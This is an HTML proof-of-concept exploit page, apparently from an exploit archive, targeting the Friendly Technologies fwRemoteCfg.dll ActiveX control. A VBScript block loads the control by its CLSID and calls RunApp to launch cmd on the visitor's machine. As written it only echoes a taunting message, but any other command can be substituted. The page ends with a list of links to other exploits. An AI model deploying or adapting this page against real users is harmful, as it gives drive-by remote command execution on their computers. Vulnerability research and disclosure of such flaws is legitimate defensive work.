<!--
In addition to the overflow found in the "Friendly Technologies" dialers ActiveX,
Here is a "remote command execution" exploit.
Its so sad people dont actually Think...
Greetz to Binaryvision
======================
- http://www.binaryvision.org.il/
-- irc.nix.co.il/#binaryvision
--- written by spdr.
-->
<html>
<object classid='clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B' id='lamers' ></object>
<script language='vbscript'>
lamers.RunApp "cmd" ,"cmd /k echo So Simple, So Lame -- Somebody should get fired." ,0
</script>
【Friendly Technologies (fwRemoteCfg.dll) ActiveX Command Exec Exploit】相关文章：
★ Microsoft Access (Snapview.ocx 10.0.5529.0) ActiveX Remote Exploit
★ trixbox (langChoice) Local File Inclusion Exploit (connect-back)
★ Discuz! 6.0.1 (searchid) Remote SQL Injection Exploit
★ Easy File Sharing FTP Server 2.0 (PASS) Remote Exploit
★ Yourownbux 4.0 (COOKIE) Authentication Bypass Exploit
★ NaviCOPA Web Server 2.01 Remote Buffer Overflow Exploit (meta)
★ Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit
★ Friendly Technologies (fwRemoteCfg.dll) ActiveX Remote BOF Exploit
★ tplSoccerSite 1.0 Multiple Remote SQL Injection Vulnerabilities
★ Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit